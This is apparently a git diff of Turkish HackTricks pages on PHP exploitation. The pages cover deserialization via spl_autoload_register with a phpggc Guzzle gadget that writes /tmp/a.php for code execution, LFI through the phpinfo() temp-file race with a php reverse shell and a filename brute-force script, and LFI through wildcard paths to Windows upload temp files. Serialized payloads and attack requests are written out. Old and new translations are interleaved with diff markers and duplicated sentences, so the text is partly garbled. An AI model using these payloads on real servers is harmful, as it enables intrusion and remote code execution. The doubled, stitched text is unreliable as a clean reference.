<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
İlk olarak, [**Otomatik Yükleme Sınıfları**](https://www.php.net/manual/en/language.oop5.autoload.php)'nın ne olduğunu kontrol etmelisiniz.
Öncelikle, [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php) nedir kontrol etmelisiniz.
## PHP deserialization + spl\_autoload\_register + LFI/Gadget
**Web uygulamasında PHP deserializasyonu** bulduk, ancak **`phpggc`** içindeki gadgetlara karşı savunmasız bir kütüphane yok. Bununla birlikte, aynı konteynerde **savunmasız kütüphanelere sahip farklı bir composer web uygulaması** bulunuyordu. Bu nedenle, amacımız, deserializasyona karşı savunmasız olan web uygulamasının **composer yükleyicisini yüklemek** ve onu kullanarak deserializasyona karşı savunmasız olan kütüphaneyi bir gadget ile sömürmek.
Bir **web uygulamasında PHP deserialization** bulduğumuz bir durumdayız ve **`phpggc`** içinde **gadget**'lara karşı **hiçbir** kütüphane zayıf değil. Ancak, aynı konteynerde **zayıf kütüphanelere sahip farklı bir composer web uygulaması** vardı. Bu nedenle, hedef **diğer web uygulamasının composer yükleyicisini yüklemek** ve bunu **deserialization'a karşı zayıf olan web uygulamasından bir gadget ile o kütüphaneyi istismar etmek** için kullanmaktı.
Adımlar:
* Bir **deserializasyon** buldunuz ve mevcut uygulama kodunda **hiçbir gadget yok**
* Aşağıdaki gibi bir **`spl_autoload_register`** işlevini istediğiniz herhangi bir yerel `.php` uzantılı dosyayı **yüklemek için istismar edebilirsiniz**
* Bunun için, sınıfın adı **`$name`** içinde olacak bir deserializasyonu kullanabilirsiniz. Bir seri nesnede sınıf adında "/" veya "." kullanamazsınız, ancak **kod**, **alt çizgileri** ("\_") **eğik çizgilere** ("/") **dönüştürüyor**. Bu nedenle, `tmp_passwd` gibi bir sınıf adı `/tmp/passwd.php`'ye dönüştürülecek ve kod onu yüklemeye çalışacak.\
Bir **gadget örneği** şu şekilde olabilir: **`O:10:"tmp_passwd":0:{}`**
* Bir **deserialization** buldunuz ve mevcut uygulama kodunda **hiçbir gadget** yok
* Aşağıdaki gibi bir **`spl_autoload_register`** fonksiyonunu kullanarak **herhangi bir yerel `.php` uzantılı dosyayı yükleyebilirsiniz**
* Bunun için, sınıf adının **`$name`** içinde olacağı bir deserialization kullanıyorsunuz. Serileştirilmiş bir nesnede sınıf adında **"/" veya "."** kullanamazsınız, ancak **kod** **alt çizgileri** ("\_") **eğik çizgilerle** ("/") **değiştiriyor**. Yani `tmp_passwd` gibi bir sınıf adı `/tmp/passwd.php`'ye dönüştürülecek ve kod bunu yüklemeye çalışacak.\
Bir **gadget örneği** şöyle olacaktır: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
@ -48,16 +49,16 @@ require __DIR__ . $filename;
});
```
{% hint style="success" %}
Eğer bir **dosya yükleme** işlemi yapabilir ve **`.php` uzantılı** bir dosya yükleyebilirseniz, bu işlevselliği **doğrudan kötüye kullanabilir** ve zaten RCE elde edebilirsiniz.
Eğer bir **dosya yükleme** alanınız varsa ve **`.php` uzantılı** bir dosya yükleyebiliyorsanız, bu işlevselliği **doğrudan kötüye kullanabilir** ve zaten RCE elde edebilirsiniz.
{% endhint %}
Benim durumumda böyle bir şeyim yoktu, ancak **aynı konteyner** içinde başka bir composer web sayfası vardı ve bu sayfa **`phpggc` gadget'ına** karşı savunmasız bir kütüphane içeriyordu.
Benim durumumda, böyle bir şeyim yoktu, ama **aynı konteynerin** içinde **`phpggc` gadget'ına karşı savunmasız bir kütüphane** olan başka bir composer web sayfası vardı.
* Bu diğer kütüphaneyi yüklemek için, öncelikle **o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekmektedir** (çünkü mevcut uygulamanın yükleyicisi diğer uygulamanın kütüphanelerine erişemez). **Uygulamanın yolunu bildiğinizde**, bunu çok kolay bir şekilde yapabilirsiniz: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Benim durumumda, composer yükleyicisi `/www/frontend/vendor/autoload.php` içindeydi)
* Şimdi, diğer uygulamanın composer yükleyicisini **yüklüyoruz**, bu yüzden **`phpggc`** **payload**'ını **oluşturma zamanı** geldi. Benim durumumda, **`Guzzle/FW1`**'i kullandım, bu da bana **dosya sistemi içinde herhangi bir dosya yazma** izni verdi.
* NOT: **Oluşturulan gadget çalışmıyordu**, çalışması için phpggc'nin **`chain.php`** payload'ını **değiştirdim** ve sınıfların **tüm özniteliklerini private'dan public'a** ayarladım. Aksi takdirde, dizeden çözümlendikten sonra oluşturulan nesnelerin özniteliklerinin herhangi bir değeri olmazdı.
* Şimdi, diğer uygulamanın composer yükleyicisini **yükleme yoluna sahibiz** ve çalışan bir **phpggc payload'ımız var**, ancak yükleyicinin gadget kullanıldığında yüklenmesi için **BU İSTEKTE AYNI İŞLEMİ yapmamız gerekiyor**. Bunun için, her iki nesneyi içeren bir seri hale getirilmiş dizi gönderdim:
* **Önce yükleyicinin yüklendiğini, ardından payload'ın yüklendiğini** görebilirsiniz.
* Bu diğer kütüphaneyi yüklemek için, önce **o diğer web uygulamasının composer yükleyicisini yüklemeniz** gerekiyor (çünkü mevcut uygulamanın yükleyicisi diğerinin kütüphanelerine erişmeyecek). **Uygulamanın yolunu bilerek**, bunu çok kolay bir şekilde elde edebilirsiniz: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Benim durumumda, composer yükleyicisi `/www/frontend/vendor/autoload.php` içindeydi)
* Şimdi, **diğer uygulamanın composer yükleyicisini yükleyebilirsiniz**, bu yüzden kullanmak için **`phpgcc`** **payload'unu oluşturma** zamanı. Benim durumumda, **`Guzzle/FW1`** kullandım, bu da **dosya sisteminin içine herhangi bir dosya yazmamı** sağladı.
* NOT: **Oluşturulan gadget çalışmıyordu**, çalışması için **o payload'u** **`chain.php`** dosyasında **değiştirdim** ve sınıfların **tüm niteliklerini** **özelden genel** olarak ayarladım. Aksi takdirde, dizilimi çözülmüş dizeden sonra, oluşturulan nesnelerin niteliklerinin hiçbir değeri yoktu.
* Artık **diğer uygulamanın composer yükleyicisini yükleme** yoluna sahibiz ve **çalışan bir phpggc payload'u** var, ama **gadget kullanıldığında yükleyicinin yüklenmesi için BUNU AYNI İSTEĞİN İÇİNDE yapmamız gerekiyor**. Bunun için, her iki nesneyle birlikte bir serileştirilmiş dizi gönderdim:
* **Önce yükleyicinin yüklendiğini ve ardından payload'unu görebilirsiniz**
{% code overflow="wrap" %}
```php
@ -65,7 +66,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
* Şimdi, bir dosya oluşturup yazabiliriz, ancak kullanıcı web sunucusunun içindeki herhangi bir klasöre yazamaz. Bu yüzden, payloadda görebileceğiniz gibi, bazı base64 ile PHP **`system`** çağrısı **`/tmp/a.php`** içinde oluşturulur. Ardından, diğer web uygulamasının composer yükleyicisini yüklemek için LFI olarak kullandığımız ilk tür payloadu yeniden kullanabiliriz. Sadece bunu deserialization gadget'a ekleyin:&#x20;
* Artık **bir dosya oluşturup yazabiliriz**, ancak kullanıcı **web sunucusundaki herhangi bir klasöre yazamaz**. Yani, yüklemede görebileceğiniz gibi, PHP **`system`** çağrısı ile bazı **base64** içeriği **`/tmp/a.php`** içinde oluşturulmuştur. Ardından, **oluşturulan `/tmp/a.php`** dosyasını yüklemek için diğer web uygulamasının composer yükleyicisini yüklemek üzere kullandığımız ilk tür yüklemeyi **yeniden kullanabiliriz**. Bunu deserialization gadget'ına ekleyin:&#x20;
{% code overflow="wrap" %}
```php
@ -73,25 +74,26 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
**Payload özet**
**Yükün Özeti**
* Aynı konteynerdeki başka bir web uygulamasının **composer autoload'ını yükle**
* **phpggc gadget'ını yükle** ve diğer web uygulamasının bir kütüphanesini kötüye kullan (deserialization açığına sahip olan başlangıç web uygulamasında herhangi bir gadget yoktu)
* Gadget, **kötü niyetli komutlar içeren bir PHP payload'uyla** /tmp/a.php adlı bir dosya oluşturacak (web uygulama kullanıcısı herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)
* Payload'ımızın son kısmı, komutları yürütecek olan **oluşturulan php dosyasını yüklemek** için kullanılacak
* **Aynı konteynerdeki** farklı bir web uygulamasının composer autoload'unu yükle
* **Başka bir web uygulamasından** bir kütüphaneyi kötüye kullanmak için bir phpggc gadget'ı yükle (deserialization'a karşı savunmasız olan ilk web uygulamasında herhangi bir gadget yoktu)
* Gadget, /tmp/a.php dosyasında kötü niyetli komutlarla birlikte **PHP yükü** içeren bir dosya oluşturacak (web uygulaması kullanıcısı, herhangi bir web uygulamasının herhangi bir klasörüne yazamaz)
* Yükümüzün son kısmı, **oluşturulan php dosyasını yükleyecek** ve komutları çalıştıracak
Bu deserialization'ı **iki kez çağırmam gerekiyordu**. Testlerimde, ilk seferinde `/tmp/a.php` dosyası oluşturuldu ancak yüklenmedi ve ikinci seferinde doğru şekilde yüklendi.
Bu deserialization'ı **iki kez çağırmam gerekti**. Testlerimde, ilk seferde `/tmp/a.php` dosyası oluşturuldu ama yüklenmedi, ikinci seferde ise doğru bir şekilde yüklendi.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **katkıda bulunun**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Bu zafiyeti sömürmek için gerekenler: **Bir LFI zafiyeti, phpinfo() fonksiyonunun görüntülendiği bir sayfa, "file\_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
Bu ığı istismar etmek için şunlara ihtiyacınız var: **Bir LFI açığı, phpinfo()'un görüntülendiği bir sayfa, "file\_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**HTB Öğretici**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
Exploit'i düzeltmeniz gerekiyor (**=>** yerine **=>** değiştirin). Bunu yapmak için:
ığı düzeltmeniz gerekiyor ( **=>** yerine **=>** değiştirin). Bunu yapmak için şunları yapabilirsiniz:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Exploitin başında **payload**'u (örneğin bir php-rev-shell için) değiştirmeniz gerekmektedir, **REQ1**'i (bu phpinfo sayfasına işaret etmeli ve padding dahil edilmelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ**'yi (bu LFI zafiyetine işaret etmelidir, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürülürken çift "%" kontrol edin)
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### Teori
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işlemeyi bitirene kadar bir geçici dizinde depolanır, ardından bu geçici dosya silinir.
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işleyene kadar geçici bir dizinde saklanır, ardından bu geçici dosya silinir.
Ardından, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi sömürebilirsiniz.
Sonra, web sunucusunda bir LFI açığı bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi istismar edebilirsiniz.
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde depolanır.
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde saklanır.
**Linux**'ta dosyanın adı genellikle **rastgele** ve **/tmp** dizininde bulunur. Ad rastgele olduğu için, geçici dosyanın adını **bir yerden çıkarmak gerekmektedir** ve phpconfig() fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak bunu yapabilirsiniz.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce ona erişmek gerekir. Bu, "**phpconfig()**" fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
**phpinfo()**
**PHP**, bir **4096B** tampon kullanır ve tampon **dolu olduğunda**, **istemciye gönderilir**. Ardından istemci, büyük başlıklar kullanarak **birçok büyük istek gönderebilir** (php ters shell yüklemek için), geçici dosyanın adının döndürüldüğü **phpinfo()**'nun ilk kısmının gelmesini bekleyebilir ve LFI zafiyetini sömürerek php sunucusu dosyayı silmeden önce geçici dosyaya erişmeye çalışabilir.
**PHP**, **4096B**'lık bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **büyük başlıklar** kullanarak **birçok büyük istek** **gönderebilir**, **php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adı burada bulunur) ve php sunucusu dosyayı silmeden önce LFI açığını istismar ederek **geçici dosyaya erişmeye** çalışabilir.
**Uzunluğu 6 ise adı tahmin etmek için Python betiği**
**İsimleri brute force denemek için Python scripti (uzunluk = 6)**
```python
import itertools
import requests
@ -63,16 +64,17 @@ sys.exit(0)
print('[x] Something went wrong, please try again')
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,60 +1,46 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
**Bu teknikle ilgili tüm ayrıntıları [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf)** adresinde kontrol edin.
## **PHP Dosya yüklemeleri**
Bir **PHP** motoru, RFC 1867'ye göre biçimlendirilmiş dosyalar içeren bir **POST isteği** aldığında, yüklenen verileri depolamak için geçici dosyalar oluşturur. Bu dosyalar, PHP betiklerinde dosya yükleme işlemlerini yönetmek için önemlidir. Eğer betiğin çalışmasından sonra kalıcı depolama gerekiyorsa, bu geçici dosyaları istenen bir konuma taşımak için `move_uploaded_file` işlevi kullanılmalıdır. PHP, yürütme sonrasında kalan geçici dosyaları otomatik olarak siler.
{% hint style="info" %}
**Güvenlik Uyarısı: Geçici dosyaların konumunu bilen saldırganlar, yükleme sırasında dosyaya erişerek Kod Yürütme ile Yerel Dosya Dahil Etme (LFI) zafiyetini istismar edebilir.**
{% endhint %}
Yetkisiz erişim için zorluk, geçici dosyanın adını tahmin etmektedir ve bu adlar kasıtlı olarak rastgele oluşturulur.
#### Windows Sistemlerinde Sömürü
Windows üzerinde, PHP `GetTempFileName` işlevini kullanarak geçici dosya adları oluşturur ve `<path>\<pre><uuuu>.TMP` gibi bir desen elde eder. Özellikle:
**Bu tekniğin tam detaylarını [https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP\_LFI\_rfc1867\_temporary\_files.pdf) adresinde kontrol edin.**
- Varsayılan yol genellikle `C:\Windows\Temp`'tir.
- Önek genellikle "php"dir.
- `<uuuu>`, benzersiz onaltılık bir değeri temsil eder. Önemli olan, işlevin sınırlaması nedeniyle, yalnızca alt 16 bitin kullanılmasıdır, bu da sabit yol ve önek ile maksimum 65.535 benzersiz adın oluşmasına olanak tanır ve brute force saldırısı yapılabilir.
## **PHP Dosya Yüklemeleri**
Ayrıca, sömürü süreci Windows sistemlerinde basitleştirilmiştir. `FindFirstFile` işlevindeki bir özellik, Yerel Dosya Dahil Etme (LFI) yollarında joker karakterlerin kullanılmasına izin verir. Bu, geçici dosyayı bulmak için aşağıdaki gibi bir dahil etme yolunun oluşturulmasını sağlar:
Bir **PHP** motoru, RFC 1867'ye göre formatlanmış dosyalar içeren bir **POST isteği** aldığında, yüklenen verileri depolamak için geçici dosyalar oluşturur. Bu dosyalar, PHP betiklerinde dosya yükleme işlemleri için kritik öneme sahiptir. Kalıcı depolama gerekiyorsa, `move_uploaded_file` fonksiyonu bu geçici dosyaları istenen bir konuma taşımak için kullanılmalıdır. İşlem sonrası, PHP otomatik olarak kalan geçici dosyaları siler.
{% hint style="info" %}
**Güvenlik Uyarısı: Geçici dosyaların konumunu bilen saldırganlar, yükleme sırasında dosyaya erişerek kod çalıştırmak için Yerel Dosya Dahil Etme (LFI) açığını istismar edebilir.**
{% endhint %}
Yetkisiz erişim için zorluk, geçici dosyanın adını tahmin etmektir; bu ad kasıtlı olarak rastgeleleştirilmiştir.
#### Windows Sistemlerinde İstismar
Windows'ta, PHP geçici dosya adlarını `GetTempFileName` fonksiyonunu kullanarak oluşturur ve bu, `<path>\<pre><uuuu>.TMP` gibi bir desenle sonuçlanır. Önemli noktalar:
- Varsayılan yol genellikle `C:\Windows\Temp`'dir.
- Önek genellikle "php"dır.
- `<uuuu>`, benzersiz bir onaltılık değeri temsil eder. Fonksiyonun sınırlamaları nedeniyle yalnızca alt 16 bit kullanılır, bu da sabit yol ve önek ile maksimum 65,535 benzersiz adın oluşturulmasına olanak tanır ve brute force'u mümkün kılar.
Ayrıca, Windows sistemlerinde istismar süreci basitleştirilmiştir. `FindFirstFile` fonksiyonundaki bir özellik, Yerel Dosya Dahil Etme (LFI) yollarında joker karakterlerin kullanılmasına izin verir. Bu, geçici dosyayı bulmak için aşağıdaki gibi bir dahil etme yolu oluşturmayı mümkün kılar:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
Belirli durumlarda, daha spesifik bir maske (`php1<<` veya `phpA<<` gibi) gerekebilir. Yüklenen geçici dosyayı keşfetmek için bu maskeler sistematik olarak denenebilir.
Belirli durumlarda, daha spesifik bir maske (örneğin `php1<<` veya `phpA<<`) gerekebilir. Yüklenen geçici dosyayı keşfetmek için bu maskeleri sistematik olarak denemek mümkündür.
#### GNU/Linux Sistemlerinde Sömürü
GNU/Linux sistemlerinde, geçici dosya adlandırma işlemindeki rastgelelik güçlüdür, bu nedenle adlar tahmin edilemez ve brute force saldırılarına karşı savunmalıdır. Daha fazla ayrıntı için ilgili belgelere bakabilirsiniz.
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
